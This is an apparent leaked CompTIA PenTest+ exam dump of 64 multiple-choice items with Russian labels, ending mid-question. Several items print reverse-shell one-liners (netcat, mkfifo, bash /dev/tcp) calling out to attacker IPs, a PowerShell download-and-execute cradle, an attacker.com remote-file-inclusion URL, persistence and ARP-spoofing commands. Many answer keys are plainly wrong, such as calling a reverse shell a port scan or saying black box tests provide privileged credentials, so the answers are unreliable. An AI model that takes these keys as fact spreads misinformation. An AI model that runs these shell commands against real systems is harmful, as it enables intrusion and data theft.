

**PT0-001.prepaway.premium.exam.66q**

Number: PT0-001  
Passing Score: 800  
Time Limit: 120 min  
File Version: 2.1



**PT0-001**

**CompTIA PenTest+ Certification**

**Version 2.1**

## Exam A

### ВОПРОС 1

#### DRAG DROP

Place each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the character sets represented. Each password may be used only once.

Выбрать и переместить:

Least to most complex

1	<input type="text"/>	zv3rl0ry
2	<input type="text"/>	Zverlory
3	<input type="text"/>	Zverl0ry
4	<input type="text"/>	Zv3r!0ry

Правильный ответ:

Least to most complex

1	Zverlory	<input type="text"/>
2	Zverl0ry	<input type="text"/>
3	zv3rl0ry	<input type="text"/>
4	Zv3r!0ry	<input type="text"/>

Секция: (нет)  
Explanation

## Объяснение/Справка:

### ВОПРОС 2

#### DRAG DROP

A manager calls upon a tester to assist with diagnosing an issue within the following Python script:

```
#!/usr/bin/python  
s = "Administrator"
```

The tester suspects it is an issue with string slicing and manipulation. Analyze the following code segment and drag and drop the correct output for each string manipulation to its corresponding code segment. Options may be used once or not at all.

#### Выбрать и переместить:

Code segment	Output		
<code>s[4:8]</code>		iita	im
<code>s[4:12:2]</code>		inis	ni
<code>s[3::-1]</code>		nsrt	ro
<code>s[-7:-2]</code>		snmA	tr

#### Правильный ответ:

Code segment	Output		
<code>s[4:8]</code>	nsrt	iita	
<code>s[4:12:2]</code>	snmA	inis	ni
<code>s[3::-1]</code>	trat		ro
<code>s[-7:-2]</code>	imdA		

**Секция: (нет)**  
**Explanation**

**Объяснение/Справка:**

### **ВОПРОС 3**

A penetration tester has compromised a Windows server and is attempting to achieve persistence. Which of the following would achieve that goal?

- A. `schtasks.exe /create/tr "powershell.exe" Sv.ps1 /run`
- B. `net session server | dsquery -user | net use c$`
- C. `powershell && set-executionpolicy unrestricted`
- D. `reg save HKLM\System\CurrentControlSet\Services\Sv.reg`

**Правильный ответ: D**

**Секция: (нет)**  
**Explanation**

**Объяснение/Справка:**

### **ВОПРОС 4**

A client has scheduled a wireless penetration test. Which of the following describes the scoping target information MOST likely needed before testing can begin?

- A. The physical location and network ESSIDs to be tested
- B. The number of wireless devices owned by the client
- C. The client's preferred wireless access point vendor
- D. The bands and frequencies used by the client's devices

**Правильный ответ: D**

**Секция: (нет)**  
**Explanation**

**Объяснение/Справка:**

### **ВОПРОС 5**

Which of the following BEST describes some significant security weaknesses with an ICS, such as those used in electrical utility facilities, natural gas facilities, dams, and nuclear facilities?

- A. ICS vendors are slow to implement adequate security controls.
- B. ICS staff are not adequately trained to perform basic duties.
- C. There is a scarcity of replacement equipment for critical devices.
- D. There is a lack of compliance for ICS facilities.

**Правильный ответ: B**

**Секция: (нет)**  
**Explanation**

**Объяснение/Справка:**

### **ВОПРОС 6**

A security analyst was provided with a detailed penetration report, which was performed against the organization's DMZ environment. It was noted on the report that a finding has a CVSS base score of 10.0. Which of the following levels of difficulty would be required to exploit this vulnerability?

- A. Very difficult; perimeter systems are usually behind a firewall.
- B. Somewhat difficult; would require significant processing power to exploit.
- C. Trivial; little effort is required to exploit this finding.
- D. Impossible; external hosts are hardened to protect against attacks.

**Правильный ответ:** C

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <https://nvd.nist.gov/vuln-metrics/cvss>

#### **ВОПРОС 7**

A penetration tester has gained access to a marketing employee's device. The penetration tester wants to ensure that if the access is discovered, control of the device can be regained. Which of the following actions should the penetration tester use to maintain persistence to the device? (Select TWO.)

- A. Place an entry in HKLM\Software\Microsoft\CurrentVersion\Run to call au57d.ps1.
- B. Place an entry in C:\windows\system32\drivers\etc\hosts for 12.17.20.10 badcomptia.com.
- C. Place a script in C:\users\%username%\local\appdata\roaming\temp\au57d.ps1.
- D. Create a fake service in Windows called RTAudio to execute manually.
- E. Place an entry for RTAudio in HKLM\CurrentControlSet\Services\RTAudio.
- F. Create a schedule task to call C:\windows\system32\drivers\etc\hosts.

**Правильный ответ:** AC

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 8**

Which of the following tools is used to perform a credential brute force attack?

- A. Hydra
- B. John the Ripper
- C. Hashcat
- D. Peach

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <https://www.greycampus.com/blog/information-security/brute-force-attacks-prominent-tools-to-tackle-such-attacks>

#### **ВОПРОС 9**

Which of the following situations would cause a penetration tester to communicate with a system owner/client during the course of a test? (Select TWO.)

- A. The tester discovers personally identifiable data on the system.
- B. The system shows evidence of prior unauthorized compromise.
- C. The system shows a lack of hardening throughout.
- D. The system becomes unavailable following an attempted exploit.
- E. The tester discovers a finding on an out-of-scope system.

**Правильный ответ:** BD

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 10**

A penetration tester has performed a security assessment for a startup firm. The report lists a total of ten vulnerabilities, with five identified as critical. The client does not have the resources to immediately remediate all vulnerabilities. Under such circumstances, which of the following would be the BEST suggestion for the client?

- A. Apply easy compensating controls for critical vulnerabilities to minimize the risk, and then reprioritize remediation.
- B. Identify the issues that can be remediated most quickly and address them first.
- C. Implement the least impactful of the critical vulnerabilities' remediations first, and then address other critical vulnerabilities
- D. Fix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long time.

**Правильный ответ:** D

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 11**

Which of the following is the reason why a penetration tester would run the `chkconfig --del servicename` command at the end of an engagement?

- A. To remove the persistence
- B. To enable persistence
- C. To report persistence
- D. To check for persistence

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 12**

A penetration tester wants to target NETBIOS name service. Which of the following is the MOST likely command to exploit the NETBIOS name service?

- A. `arpspoof`
- B. `nmap`
- C. `responder`
- D. `burpsuite`

**Правильный ответ:** B

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <http://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/>

### ВОПРОС 13

A security consultant receives a document outlining the scope of an upcoming penetration test. This document contains IP addresses and times that each can be scanned. Which of the following would contain this information?

- A. Rules of engagement
- B. Request for proposal
- C. Master service agreement
- D. Business impact analysis

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

### ВОПРОС 14

A penetration tester executes the following commands:

```
C:\>%userprofile%\jtr.exe
This program has been blocked by group policy.
C:\>accesschk.exe -w -s -q -u Users C:\Windows
rw C:\Windows\Tracing
C:\>copy %userprofile%\jtr.exe C:\Windows\Tracing
C:\Windows\Tracing\jtr.exe
jtr version 3.2...
jtr>
```

Which of the following is a local host vulnerability that the attacker is exploiting?

- A. Insecure file permissions
- B. Application whitelisting
- C. Shell escape
- D. Writable service

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#john-the-ripper---jtr>

### ВОПРОС 15

A penetration tester reviews the scan results of a web application. Which of the following vulnerabilities is MOST critical and should be prioritized for exploitation?

- A. Stored XSS
- B. Fill path disclosure
- C. Expired certificate
- D. Clickjacking

**Правильный ответ:** A

**Секция:** (нет)

## Explanation

### Объяснение/Справка:

Reference: [https://www.owasp.org/index.php/Top\\_10\\_2010-A2-Cross-Site\\_Scripting\\_\(XSS\)](https://www.owasp.org/index.php/Top_10_2010-A2-Cross-Site_Scripting_(XSS))

### ВОПРОС 16

A penetration tester observes that several high-numbered ports are listening on a public web server. However, the system owner says the application only uses port 443. Which of the following would be BEST to recommend?

- A. Transition the application to another port.
- B. Filter port 443 to specific IP addresses.
- C. Implement a web application firewall.
- D. Disable unneeded services.

**Правильный ответ: D**

**Секция: (нет)**

## Explanation

### Объяснение/Справка:

### ВОПРОС 17

A penetration tester was able to enter an SQL injection command into a text box and gain access to the information store on the database. Which of the following is the BEST recommendation that would mitigate the vulnerability?

- A. Randomize the credentials used to log in.
- B. Install host-based intrusion detection.
- C. Implement input normalization.
- D. Perform system hardening.

**Правильный ответ: D**

**Секция: (нет)**

## Explanation

### Объяснение/Справка:

### ВОПРОС 18

Black box penetration testing strategy provides the tester with:

- A. a target list
- B. a network diagram
- C. source code
- D. privileged credentials

**Правильный ответ: D**

**Секция: (нет)**

## Explanation

### Объяснение/Справка:

Reference: <https://www.scnsoft.com/blog/fifty-shades-of-penetration-testing>

### ВОПРОС 19

Which of the following tools would a penetration tester leverage to conduct OSINT? (Select TWO).

- A. Shodan



- B. SET
- C. BeEF
- D. Wireshark
- E. Maltego
- F. Dynamo

**Правильный ответ:** AE

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <https://resources.infosecinstitute.com/top-five-open-source-intelligence-osint-tools/#gref>

#### **ВОПРОС 20**

A penetration tester is performing ARP spoofing against a switch. Which of the following should the penetration tester spoof to get the MOST information?

- A. MAC address of the client
- B. MAC address of the domain controller
- C. MAC address of the web server
- D. MAC address of the gateway

**Правильный ответ:** D

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 21**

A penetration tester is able to move laterally throughout a domain with minimal roadblocks after compromising a single workstation. Which of the following mitigation strategies would be BEST to recommend in the report? (Select THREE).

- A. Randomize local administrator credentials for each machine.
- B. Disable remote logons for local administrators.
- C. Require multifactor authentication for all logins.
- D. Increase minimum password complexity requirements.
- E. Apply additional network access control.
- F. Enable full-disk encryption on every workstation.
- G. Segment each host into its own VLAN.

**Правильный ответ:** CDE

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 22**

A security consultant is trying to attack a device with a previously identified user account.

Module options (exploit/windows/smb/psexec):

Name	Current Setting	
----	-----	--
RHOST	192.168.1.10	ye
RPORT	445	ye
SERVICE_DESCRIPTION		no
SERVICE_DISPLAY_NAME		no
SERVICE_NAME		no
SHARE	ADMIN\$	ye
SMBDOMAIN	ECorp	no
SMBPASS	aad3b435b514004ccaad3b435b5140ee:gbh5n356b58700ggppd6m2439ep	no
SMBUSER	Administrator	no

Which of the following types of attacks is being executed?

- A. Credential dump attack
- B. DLL injection attack
- C. Reverse shell attack
- D. Pass the hash attack

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

### ВОПРОС 23

A malicious user wants to perform an MITM attack on a computer. The computer network configuration is given below:

IP: 192.168.1.20  
NETMASK: 255.255.255.0  
DEFAULT GATEWAY: 192.168.1.254  
DHCP: 192.168.1.253  
DNS: 192.168.10.10, 192.168.20.10

Which of the following commands should the malicious user execute to perform the MITM attack?

- A. arpspoof -c both -r -t 192.168.1.1 192.168.1.20
- B. arpspoof -t 192.168.1.20 192.168.1.254
- C. arpspoof -c both -t 192.168.1.20 192.168.1.253
- D. arpspoof -r -t 192.168.1.253 192.168.1.20

**Правильный ответ:** B

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <https://www.hackers-arise.com/single-post/2017/07/25/Man-the-Middle-MiTM-Attack-with-ARPspoofing>

### ВОПРОС 24

A client has requested an external network penetration test for compliance purposes. During discussion

between the client and the penetration tester, the client expresses unwillingness to add the penetration tester's source IP addresses to the client's IPS whitelist for the duration of the test. Which of the following is the BEST argument as to why the penetration tester's source IP addresses should be whitelisted?

- A. Whitelisting prevents a possible inadvertent DoS attack against the IPS and supporting log-monitoring systems.
- B. Penetration testing of third-party IPS systems often requires additional documentation and authorizations; potentially delaying the time-sensitive test.
- C. IPS whitelisting rules require frequent updates to stay current, constantly developing vulnerabilities and newly discovered weaknesses.
- D. Testing should focus on the discovery of possible security issues across all in-scope systems, not on determining the relative effectiveness of active defenses such as an IPS.

**Правильный ответ:** D

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 25**

An energy company contracted a security firm to perform a penetration test of a power plant, which employs ICS to manage power generation and cooling. Which of the following is a consideration unique to such an environment that must be made by the firm when preparing for the assessment?

- A. Selection of the appropriate set of security testing tools
- B. Current and load ratings of the ICS components
- C. Potential operational and safety hazards
- D. Electrical certification of hardware used in the test

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 26**

A healthcare organization must abide by local regulations to protect and attest to the protection of personal health information of covered individuals. Which of the following conditions should a penetration tester specifically test for when performing an assessment? (Select TWO).

- A. Cleartext exposure of SNMP trap data
- B. Software bugs resident in the IT ticketing system
- C. S/MIME certificate templates defined by the CA
- D. Health information communicated over HTTP
- E. DAR encryption on records servers

**Правильный ответ:** DE

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 27**

Which of the following is an example of a spear phishing attack?

- A. Targeting an executive with an SMS attack

- B. Targeting a specific team with an email attack
- C. Targeting random users with a USB key drop
- D. Targeting an organization with a watering hole attack

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <https://www.comparitech.com/blog/information-security/spear-phishing/>

#### **ВОПРОС 28**

A security assessor is attempting to craft specialized XML files to test the security of the parsing functions during ingest into a Windows application. Before beginning to test the application, which of the following should the assessor request from the organization?

- A. Sample SOAP messages
- B. The REST API documentation
- C. A protocol fuzzing utility
- D. An applicable XSD file

**Правильный ответ:** D

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 29**

Which of the following CPU registers does the penetration tester need to overwrite in order to exploit a simple buffer overflow?

- A. Stack pointer register
- B. Index pointer register
- C. Stack base pointer
- D. Destination index register

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <http://www.informit.com/articles/article.aspx?p=704311&seqNum=3>

#### **ВОПРОС 30**

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO).

- A. `nc 192.168.1.5 44444`
- B. `nc -nlvp 44444 -e /bin/sh`
- C. `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f`
- D. `nc -e /bin/sh 192.168.1.5 44444`
- E. `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/tmp/f`

```
F. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/  
tmp/f
```

**Правильный ответ:** BC

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: [https://www.reddit.com/r/hacking/comments/5ms9gv/help\\_reverse\\_shell\\_exploit/](https://www.reddit.com/r/hacking/comments/5ms9gv/help_reverse_shell_exploit/)

### ВОПРОС 31

Consumer-based IoT devices are often less secure than systems built for traditional desktop computers. Which of the following BEST describes the reasoning for this?

- A. Manufacturers developing IoT devices are less concerned with security.
- B. It is difficult for administrators to implement the same security standards across the board.
- C. IoT systems often lack the hardware power required by more secure solutions.
- D. Regulatory authorities often have lower security requirements for IoT systems.

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

### ВОПРОС 32

Which of the following commands starts the Metasploit database?

- A. msfconsole
- B. workspace
- C. msfvenom
- D. db\_init
- E. db\_connect

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <https://www.offensive-security.com/metasploit-unleashed/msfconsole/>

### ВОПРОС 33

A company requested a penetration tester review the security of an in-house developed Android application. The penetration tester received an APK file to support the assessment. The penetration tester wants to run SAST on the APK file. Which of the following preparatory steps must the penetration tester do FIRST? (Select TWO).

- A. Convert to JAR.
- B. Decompile.
- C. Cross-compile the application.
- D. Convert JAR files to DEX.
- E. Re-sign the APK.
- F. Attach to ADB.

**Правильный ответ:** AB

**Секция:** (нет)

## Explanation

Объяснение/Справка:

### ВОПРОС 34

A penetration tester identifies the following findings during an external vulnerability scan:

Vulnerability	Ports
Multiple unsupported versions of Apache found	80, 443
SSLv3 accepted on HTTPS connections	443
Mod_rewrite enabled on Apache servers	80, 443
Windows Server 2012 host found	21

Which of the following attack strategies should be prioritized from the scan results above?

- A. Obsolete software may contain exploitable components.
- B. Weak password management practices may be employed.
- C. Cryptographically weak protocols may be intercepted.
- D. Web server configurations may reveal sensitive information.

Правильный ответ: D

Секция: (нет)

Explanation

Объяснение/Справка:

### ВОПРОС 35

A penetration tester is in the process of writing a report that outlines the overall level of risk to operations. In which of the following areas of the report should the penetration tester put this?

- A. Appendices
- B. Executive summary
- C. Technical summary
- D. Main body

Правильный ответ: B

Секция: (нет)

Explanation

Объяснение/Справка:

### ВОПРОС 36

A penetration tester is performing a black box assessment on a web-based banking application. The tester was only provided with a URL to the login page. Given the below code and output:

```

import requests
from BeautifulSoup import BeautifulSoup
request = requests.get("https://www.bank.com/admin")
respHeaders, respBody = request[0], request[1]
if respHeader.statuscode = 200:
    soup = BeautifulSoup(respBody)
    soup = soup.findAll("div", {"type": "hidden"})
    print respHeader.StatusCode, StatusMessage
else:
    print respHeader.StatusCode, StatusMessage

```

Output: 200 OK

Which of the following is the tester intending to do?

- A. Horizontally escalate privileges.
- B. Scrape the page for hidden fields.
- C. Analyze HTTP response code.
- D. Search for HTTP headers.

**Правильный ответ: D**

**Секция: (нет)**

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 37**

A penetration tester wants to launch a graphic console window from a remotely compromised host with IP 10.0.0.20 and display the terminal on the local computer with IP 192.168.1.10. Which of the following would accomplish this task?

- A. From the remote computer, run the following commands:  
`export XHOST 192.168.1.10:0.0`  
`xhost+`  
`Terminal`
- B. From the local computer, run the following command:  
`ssh -L4444:127.0.0.1:6000 -X user@10.0.0.20 xterm`
- C. From the remote computer, run the following command:  
`ssh -R6000:127.0.0.1:4444 -p 6000 user@192.168.1.10 "xhost+; xterm"`
- D. From the local computer, run the following command:  
`nc -l -p 6000`  
 Then, from the remote computer, run the following command:  
`xterm | nc 192.168.1.10 6000`

**Правильный ответ: A**

**Секция: (нет)**

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 38**

A penetration tester is testing a banking application and uncovers a vulnerability. The tester is logged in as a non-privileged user who should have no access to any data. Given the data below from the web

interception proxy:

#### **Request**

```
POST /Bank/Tax/RTSdocuments/ HTTP 1.1
Host: test.com
Accept: text/html; application/xhtml+xml
Referrer:https://www.test.com/Bank/Tax/RTSdocuments/
Cookie: PHPSESSIONID: ;
Content-Type: application/form-data;
```

#### **Response**

```
403 Forbidden
<tr>
<td>Error:</td></tr>
<tr><td>Insufficient Privileges to view the data.</td></tr>

Displaying 1-10 of 105 records.
```

Which of the following types of vulnerabilities is being exploited?

- A. Forced browsing vulnerability
- B. Parameter pollution vulnerability
- C. File upload vulnerability
- D. Cookie enumeration

**Правильный ответ: D**

**Секция: (нет)**

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 39**

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?

- A. perl -e 'use SOCKET'; \$i='<SOURCEIP>; \$p='443;
- B. ssh superadmin@<DESTINATIONIP> -p 443
- C. nc -e /bin/sh <SOURCEIP> 443
- D. bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1

**Правильный ответ: D**

**Секция: (нет)**

**Explanation**

**Объяснение/Справка:**

Reference: <https://hackernoon.com/reverse-shell-cf154dfee6bd>

#### **ВОПРОС 40**

A penetration tester observes that the content security policy header is missing during a web application penetration test. Which of the following techniques would the penetration tester MOST likely perform?



- A. Command injection attack
- B. Clickjacking attack
- C. Directory traversal attack
- D. Remote file inclusion attack

**Правильный ответ:** B

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <https://geekflare.com/http-header-implementation/>

#### **ВОПРОС 41**

Which of the following are MOST important when planning for an engagement? (Select TWO).

- A. Goals/objectives
- B. Architectural diagrams
- C. Tolerance to impact
- D. Storage time for a report
- E. Company policies

**Правильный ответ:** AC

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 42**

The following line was found in an exploited machine's history file. An attacker ran the following command:

```
bash -i >& /dev/tcp/192.168.0.1/80 0> &1
```

Which of the following describes what the command does?

- A. Performs a port scan.
- B. Grabs the web server's banner.
- C. Redirects a TTY to a remote system.
- D. Removes error logs for the supplied IP.

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <https://hackernoon.com/reverse-shell-cf154df6bd>

#### **ВОПРОС 43**

Which of the following types of intrusion techniques is the use of an “under-the-door tool” during a physical security assessment an example of?

- A. Lockpicking
- B. Egress sensor triggering
- C. Lock bumping
- D. Lock bypass

**Правильный ответ:** D

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <https://www.triaxiomsecurity.com/2018/08/16/physical-penetration-test-examples/>

#### **ВОПРОС 44**

During testing, a critical vulnerability is discovered on a client's core server. Which of the following should be the NEXT action?

- A. Disable the network port of the affected service.
- B. Complete all findings, and then submit them to the client.
- C. Promptly alert the client with details of the finding.
- D. Take the target offline so it cannot be exploited by an attacker.

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 45**

A penetration tester has successfully deployed an evil twin and is starting to see some victim traffic. The next step the penetration tester wants to take is to capture all the victim web traffic unencrypted. Which of the following would BEST meet this goal?

- A. Perform an HTTP downgrade attack.
- B. Harvest the user credentials to decrypt traffic.
- C. Perform an MITM attack.
- D. Implement a CA attack by impersonating trusted CAs.

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 46**

After gaining initial low-privilege access to a Linux system, a penetration tester identifies an interesting binary in a user's home folder titled "changepass."

```
-sr-xr-x 1 root root 6443 Oct 18 2017 /home/user/changepass
```

Using "strings" to print ASCII printable characters from changepass, the tester notes the following:

```
$ strings changepass
exit
setuid
strcmp
GLIBC_2.0
ENV_PATH
%s/changepw
malloc
strlen
```

Given this information, which of the following is the MOST likely path of exploitation to achieve root privileges on the machine?

- A. Copy changepass to a writable directory and export the ENV\_PATH environmental variable to the path of a token-stealing binary titled changepw. Then run changepass.
- B. Create a copy of changepass in the same directory, naming it changepw. Export the ENV\_PATH environmental variable to the path '/home/user/'. Then run changepass.
- C. Export the ENV\_PATH environmental variable to the path of a writable directory that contains a token-stealing binary titled changepw. Then run changepass.
- D. Run changepass within the current directory with sudo after exporting the ENV\_PATH environmental variable to the path of '/usr/local/bin'.

**Правильный ответ:** D

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### ВОПРОС 47

A penetration tester wants to script out a way to discover all the RPTR records for a range of IP addresses. Which of the following is the MOST efficient to utilize?

- A. `nmap -p 53 -oG dnslist.txt | cut -d ":" -f 4`
- B. `nslookup -ns 8.8.8.8 << dnslist.txt`
- C. `for x in {1...254}; do dig -x 192.168.$x.$x; done`
- D. `dig -r > echo "8.8.8.8" >> /etc/resolv.conf`

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### ВОПРОС 48

Given the following Python script:

```
#!/usr/bin/python
import socket as skt
for port in range(1,1024):
    try:
        sox=skt.socket(skt.AF_INET,skt.SOCK_STREAM)
        sox.settimeout(1000)
        sox.connect(('127.0.0.1',port))
        print '%d:OPEN' % (port)
        sox.close
    except: continue
```

Which of the following is where the output will go?

- A. To the screen
- B. To a network server
- C. To a file
- D. To /dev/null

**Правильный ответ:** C

**Секция:** (нет)

## Explanation

Объяснение/Справка:

### ВОПРОС 49

An engineer, who is conducting a penetration test for a web application, discovers the user login process sends form data using the HTTP GET method. To mitigate the risk of exposing sensitive information, the form should be sent using an:

- A. HTTP POST method.
- B. HTTP OPTIONS method.
- C. HTTP PUT method.
- D. HTTP TRACE method.

Правильный ответ: A

Секция: (нет)

## Explanation

Объяснение/Справка:

### ВОПРОС 50

A software developer wants to test the code of an application for vulnerabilities. Which of the following processes should the software developer perform?

- A. Vulnerability scan
- B. Dynamic scan
- C. Static scan
- D. Compliance scan

Правильный ответ: A

Секция: (нет)

## Explanation

Объяснение/Справка:

### ВОПРОС 51

While monitoring WAF logs, a security analyst discovers a successful attack against the following URL:

<https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php>

Which of the following remediation steps should be taken to prevent this type of attack?

- A. Implement a blacklist.
- B. Block URL redirections.
- C. Double URL encode the parameters.
- D. Stop external calls from the application.

Правильный ответ: B

Секция: (нет)

## Explanation

Объяснение/Справка:

### ВОПРОС 52

A penetration tester is performing a remote scan to determine if the server farm is compliant with the company's software baseline. Which of the following should the penetration tester perform to verify

compliance with the baseline?

- A. Discovery scan
- B. Stealth scan
- C. Full scan
- D. Credentialed scan

**Правильный ответ:** A

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

### ВОПРОС 53

A penetration tester was able to retrieve the initial VPN user domain credentials by phishing a member of the IT department. Afterward, the penetration tester obtained hashes over the VPN and easily cracked them using a dictionary attack. Which of the following remediation steps should be recommended? (Select THREE).

- A. Mandate all employees take security awareness training.
- B. Implement two-factor authentication for remote access.
- C. Install an intrusion prevention system.
- D. Increase password complexity requirements.
- E. Install a security information event monitoring solution.
- F. Prevent members of the IT department from interactively logging in as administrators.
- G. Upgrade the cipher suite used for the VPN solution.

**Правильный ответ:** BCG

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

### ВОПРОС 54

A penetration tester is reviewing the following output from a wireless sniffer:

ESSID	BSSID	ENCRYPTION	CHANNEL	WPS
Guest	AD:1F:AB:10:33:78	OPEN	6	N
Secure	AD:1F:AB:10:33:79	WPA2-PSK	6	N
Dev	AD:1F:AB:10:33:70	WPA2-ENT	11	N

Which of the following can be extrapolated from the above information?

- A. Hardware vendor
- B. Channel interference
- C. Usernames
- D. Key strength

**Правильный ответ:** C

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

### ВОПРОС 55

An email sent from the Chief Executive Officer (CEO) to the Chief Financial Officer (CFO) states a wire transfer is needed to pay a new vendor. Neither is aware of the vendor, and the CEO denies ever sending the email. Which of the following types of motivation was used in this attack?

- A. Principle of fear
- B. Principle of authority
- C. Principle of scarcity
- D. Principle of likeness
- E. Principle of social proof

**Правильный ответ: B**

**Секция: (нет)**

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 56**

A security assessor completed a comprehensive penetration test of a company and its networks and systems. During the assessment, the tester identified a vulnerability in the crypto library used for TLS on the company's intranet-wide payroll web application. However, the vulnerability has not yet been patched by the vendor, although a patch is expected within days. Which of the following strategies would BEST mitigate the risk of impact?

- A. Modify the web server crypto configuration to use a stronger cipher-suite for encryption, hashing, and digital signing.
- B. Implement new training to be aware of the risks in accessing the application. This training can be decommissioned after the vulnerability is patched.
- C. Implement an ACL to restrict access to the application exclusively to the finance department. Reopen the application to company staff after the vulnerability is patched.
- D. Require payroll users to change the passwords used to authenticate to the application. Following the patching of the vulnerability, implement another required password change.

**Правильный ответ: C**

**Секция: (нет)**

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 57**

A penetration tester reports an application is only utilizing basic authentication on an Internet-facing application. Which of the following would be the BEST remediation strategy?

- A. Enable HTTP Strict Transport Security.
- B. Enable a secure cookie flag.
- C. Encrypt the communication channel.
- D. Sanitize invalid user input.

**Правильный ответ: A**

**Секция: (нет)**

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 58**

A penetration tester is performing a code review. Which of the following testing techniques is being performed?

- A. Dynamic analysis
- B. Fuzzing analysis
- C. Static analysis
- D. Run-time analysis

**Правильный ответ:** C

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

Reference: <https://smartbear.com/learn/code-review/what-is-code-review/>

#### **ВОПРОС 59**

During a full-scope security assessment, which of the following is a prerequisite to social engineer a target by physically engaging them?

- A. Locating emergency exits
- B. Preparing a pretext
- C. Shoulder surfing the victim
- D. Tailgating the victim

**Правильный ответ:** B

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 60**

Consider the following PowerShell command:

```
powershell.exe IEX (New-Object Net.Webclient).downloadstring(http://site/script.ps1");Invoke-Cmdlet
```

Which of the following BEST describes the actions performed by this command?

- A. Set the execution policy.
- B. Execute a remote script.
- C. Run an encoded command.
- D. Instantiate an object.

**Правильный ответ:** B

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

#### **ВОПРОС 61**

Which of the following excerpts would come from a corporate policy?

- A. Employee passwords must contain a minimum of eight characters, with one being alphanumeric.
- B. The help desk can be reached at 800-passwd1 to perform password resets.
- C. Employees must use strong passwords for accessing corporate assets.
- D. The corporate systems must store passwords using the MD5 hashing algorithm.

**Правильный ответ:** D

**Секция:** (нет)

## Explanation

### Объяснение/Справка:

#### ВОПРОС 62

In which of the following scenarios would a tester perform a Kerberoasting attack?

- A. The tester has compromised a Windows device and dumps the LSA secrets.
- B. The tester needs to retrieve the SAM database and crack the password hashes.
- C. The tester has compromised a limited-privilege user and needs to target other accounts for lateral movement.
- D. The tester has compromised an account and needs to dump hashes and plaintext passwords from the system.

**Правильный ответ: C**

**Секция: (нет)**

## Explanation

### Объяснение/Справка:

#### ВОПРОС 63

While trying to maintain persistence on a Windows system with limited privileges, which of the following registry keys should the tester use?

- A. HKEY\_CLASSES\_ROOT
- B. HKEY\_LOCAL\_MACHINE
- C. HKEY\_CURRENT\_USER
- D. HKEY\_CURRENT\_CONFIG

**Правильный ответ: C**

**Секция: (нет)**

## Explanation

### Объяснение/Справка:

Reference: <https://www.redcanary.com/blog/windows-registry-attacks-threat-detection/>

#### ВОПРОС 64

A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this?

